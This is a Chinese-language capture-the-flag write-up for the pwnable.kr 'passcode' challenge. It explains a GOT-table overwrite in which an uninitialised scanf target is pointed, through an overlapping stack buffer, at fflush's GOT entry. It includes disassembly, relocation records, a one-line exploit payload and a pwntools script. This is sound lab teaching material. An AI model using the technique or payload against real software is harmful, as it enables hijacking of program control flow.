这个题考查的是GOT表覆写

先来说说做题的思路和方法,看到源代码

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
    scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

C语言编程的很经典的一个错误,而且作者已经用注释提示了bug在这儿了。那么我们要如何利用呢?

想当然的,在passcode1中输入338150,passcode2中输入13371337当然是不对的。。。。。。


这就涉及到了scanf的理解,地址符号的作用


GOT表覆写原理以及自己的理解

scanf函数:把某个输入的值输入到某个内存里。如果我们可以控制这个内存,或者可以控制这个输入,那么我们可能可以劫持进程流。

现在passcode1没有加&号。scanf是默认从栈中读取4个字节当作scanf的地址。
那么,如果我们可以控制栈呢?栈中读取的4个字节是我们控制的。输入的值是我们控制的。那么,scanf函数帮助我们控制了函数流程。
如果我们在scanf函数里,将原本是fflush函数地址的地方,写入了system函数地址。
那么当程序执行fflush函数时,相当于执行了system函数。也就实现了我们所说的:GOT表的覆写。

我们需要执行的函数那必须是system因为判断passcode1和passcode2在输入时控制不了(如果main中字符串大可能可以)。
那么我们需要覆写GOT

原理是:

当在输入passcode1之后,我们执行了一个fflush函数。如果把这个地址改掉,当执行fflush的时候,执行的是system,我们就成功。

我们需要的是:system地址,fflush地址,以及如何控制passcode1。


地址很好说,gdb查看一下。控制passcode1。

因为在login之前,有一个welcome函数,会想当然的去想会不会有字符串缓冲区的问题,导致passcode1的地址被覆盖了


那么下面我们来看调试部分

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048665 <+0>:	push   ebp
   0x08048666 <+1>:	mov    ebp,esp
   0x08048668 <+3>:	and    esp,0xfffffff0
   0x0804866b <+6>:	sub    esp,0x10
   0x0804866e <+9>:	mov    DWORD PTR [esp],0x80487f0
   0x08048675 <+16>:	call   0x8048450 <puts@plt>
   0x0804867a <+21>:	call   0x8048609 <welcome>
   0x0804867f <+26>:	call   0x8048564 <login>
   0x08048684 <+31>:	mov    DWORD PTR [esp],0x8048818
   0x0804868b <+38>:	call   0x8048450 <puts@plt>
   0x08048690 <+43>:	mov    eax,0x0
   0x08048695 <+48>:	leave  
   0x08048696 <+49>:	ret    
End of assembler dump.

重要函数是welcome和login
gdb-peda$ disassemble welcome 
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   ebp
   0x0804860a <+1>:	mov    ebp,esp
   0x0804860c <+3>:	sub    esp,0x88
   0x08048612 <+9>:	mov    eax,gs:0x14
   0x08048618 <+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:	xor    eax,eax
   0x0804861d <+20>:	mov    eax,0x80487cb
   0x08048622 <+25>:	mov    DWORD PTR [esp],eax
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    eax,0x80487dd
   0x0804862f <+38>:	lea    edx,[ebp-0x70]
   0x08048632 <+41>:	mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:	mov    DWORD PTR [esp],eax
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    eax,0x80487e3
   0x08048643 <+58>:	lea    edx,[ebp-0x70]
   0x08048646 <+61>:	mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:	mov    DWORD PTR [esp],eax
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:	xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

gdb-peda$ disassemble login 
Dump of assembler code for function login:
   0x08048564 <+0>:	push   ebp
   0x08048565 <+1>:	mov    ebp,esp
   0x08048567 <+3>:	sub    esp,0x28
   0x0804856a <+6>:	mov    eax,0x8048770
   0x0804856f <+11>:	mov    DWORD PTR [esp],eax
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    eax,0x8048783
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
   0x08048590 <+44>:	mov    DWORD PTR [esp],eax
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    eax,0x8048786
   0x0804859d <+57>:	mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    eax,0x8048783
   0x080485aa <+70>:	mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:	mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:	mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

这里看不出太多。看看IDA里对于这两个函数的反汇编

首先呢,可以看到两个v1,一个是字符串数组,位置在[bp-0x70],另一个是passcode1,位置在[bp-0x10]。

这两个ebp从理论上来说应该是一样的?

考虑main的调用

   0x0804867a <+21>:	call   0x8048609 <welcome>
   0x0804867f <+26>:	call   0x8048564 <login>

既然welcome调用完了之后,直接调用login,那栈帧里面的部分值我们应该是可以控制的。ebp和esp有可能有对应关系
[-------------------------------------code-------------------------------------]
   0x8048609 <welcome>:	push   ebp
   0x804860a <welcome+1>:	mov    ebp,esp
   0x804860c <welcome+3>:	sub    esp,0x88
=> 0x8048612 <welcome+9>:	mov    eax,gs:0x14
   0x8048618 <welcome+15>:	mov    DWORD PTR [ebp-0xc],eax
   0x804861b <welcome+18>:	xor    eax,eax
   0x804861d <welcome+20>:	mov    eax,0x80487cb
   0x8048622 <welcome+25>:	mov    DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd060 --> 0xf7fb9ac0 --> 0xfbad2a84 
0004| 0xffffd064 --> 0x2e ('.')
0008| 0xffffd068 --> 0xf7fb9ac0 --> 0xfbad2a84 
0012| 0xffffd06c --> 0xf7e7f510 (<_IO_file_overflow+240>:	cmp    eax,0xffffffff)
0016| 0xffffd070 --> 0xf7fb9ac0 --> 0xfbad2a84 
0020| 0xffffd074 --> 0xf7fd6000 ("Toddler's Secure Login System 1.0 beta.\n")
0024| 0xffffd078 --> 0x28 ('(')
0028| 0xffffd07c --> 0xf7fb9000 --> 0x1a8da8 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08048612 in welcome ()
gdb-peda$ p $ebp
$1 = (void *) 0xffffd0e8

[-------------------------------------code-------------------------------------]
   0x8048564 <login>:	push   ebp
   0x8048565 <login+1>:	mov    ebp,esp
   0x8048567 <login+3>:	sub    esp,0x28
=> 0x804856a <login+6>:	mov    eax,0x8048770
   0x804856f <login+11>:	mov    DWORD PTR [esp],eax
   0x8048572 <login+14>:	call   0x8048420 <printf@plt>
   0x8048577 <login+19>:	mov    eax,0x8048783
   0x804857c <login+24>:	mov    edx,DWORD PTR [ebp-0x10]
[------------------------------------stack-------------------------------------]
0000| 0xffffd0c0 --> 0xf7fb9ac0 --> 0xfbad2a84 
0004| 0xffffd0c4 --> 0xa ('\n')
0008| 0xffffd0c8 --> 0x27 ("'")
0012| 0xffffd0cc --> 0xf7e0f700 (0xf7e0f700)
0016| 0xffffd0d0 --> 0xffffd108 --> 0x0 
0020| 0xffffd0d4 --> 0xf7ff04c0 (pop    edx)
0024| 0xffffd0d8 --> 0xffffd134 --> 0xf7fb9000 --> 0x1a8da8 
0028| 0xffffd0dc --> 0x8f9c7a00 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 3, 0x0804856a in login ()
gdb-peda$ p $ebp
$2 = (void *) 0xffffd0e8

看到了嘛,在调试的时候,两个ebp的值是一样的。

所以,passcode1我们可以控制:通过缓冲区溢出的方式。welcome中的字符串数组是100个字节长度,[bp-0x70]和[bp-0x10]的距离是0x60,也就是96个字符,还剩下的4个字节正好就是我们可以控制的passcode1。

这就构成了GOT表覆写的基础。我们知道了把数据写往哪里,这个地址我们可以控制。

再多说一句,这里设计的welcome是100,如果是104,这个题可以利用缓冲区溢出完成。因为passcode2的地址是[bp-0x0c],[bp-0x70]和[bp-0x0c]的距离是100,如果是104的话,正好够覆盖passcode2的地址。那么我们可以直接把passcode1和passcode2的地址放在96个A字符后面,然后在passcode1中输入338150,passcode2中输入13371337就搞定了。


pwn的入门题的思路是:system('/bin/sh'),正好这里有一个对吧!看到system('/bin/cat flag')。

如果我们把某个函数的GOT表的地址的值改为system('/bin/cat flag')的话,那么当调用该函数的时候,实际上调用的就是system,我们就得到flag了

该题中的可用函数有:fflush,printf。选用fflush应该是更好的,因为在scanf之后,马上就调用了fflush函数

用IDA查看汇编,0x080485E3是一个我们需要的地址。我们需要把这个地址写入到fflush函数的GOT表中。

kevin66654@ubuntu:~/Desktop/Pwnable$ objdump -R ./passcode

./passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin
0804a000 R_386_JUMP_SLOT   printf
0804a004 R_386_JUMP_SLOT   fflush
0804a008 R_386_JUMP_SLOT   __stack_chk_fail
0804a00c R_386_JUMP_SLOT   puts
0804a010 R_386_JUMP_SLOT   system
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit
0804a01c R_386_JUMP_SLOT   __libc_start_main
0804a020 R_386_JUMP_SLOT   __isoc99_scanf

看到了fflush的地址是0804a004(为什么和main里面调用的地址值不一样呢?)一个是GOT表中的值,一个是查询后的值

所以,用这个就可以pwn了

python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

想写py脚本用scp命令弄到服务器的tmp文件夹下,然后去pwn的。不知道为什么在本地能跑出来,服务器上就不行了

代码如下:

from pwn import *

address = 0x0804a004
payload = 'A' * 96 + '\x04\xa0\x04\x08' + '\n' + '134514147\n'

io = process('./passcode')
#io = process('/home/passcode/passcode')
io.send(payload)
io.interactive()

本地测试结果如下:

上传到服务器上的命令是使用scp命令

scp -P 2222 getans.py passcode@pwnable.kr:/tmp

已经pwn成功了,但是呢,提示目录下没有flag文件报错


看了几位dalao的博客,找到了解决方法,如下。

首先利用scp命令,将本地文件上传到服务器的tmp中,命令如下。

scp -P 2222 getpasscode.py passcode@pwnable.kr:/tmp

上传成功会显示这个。

passcode@pwnable.kr's password:
getpasscode.py                                 100%  219     0.2KB/s   00:00

然后,根据题目提示,用ssh远程登陆到服务器上。命令如下。

ssh passcode@pwnable.kr -p2222


这里和刚才的情况是一样的,主要是在哪个目录下执行代码的问题

因为之前代码是在tmp目录下执行的,所以应该先返回上一级,再进入/home/passcode下执行passcode

但是可以利用绝对路径执行/tmp下的文件,也就是python /tmp/getpasscode.py,这里的py文件就是你上传到服务器的文件

绝对路径就是从root开始执行。当前目录下执行的  ./  命令是相对路径,表示从当前目录下找到对应的可执行文件执行。


效果如图:


贴出几位dalao的博客地址

https://www.52pojie.cn/forum.php?mod=viewthread&tid=552088

http://blog.csdn.net/u012763794/article/details/51992512

http://www.cnblogs.com/p4nda/p/7122094.html

http://blog.csdn.net/smalosnail/article/details/53027024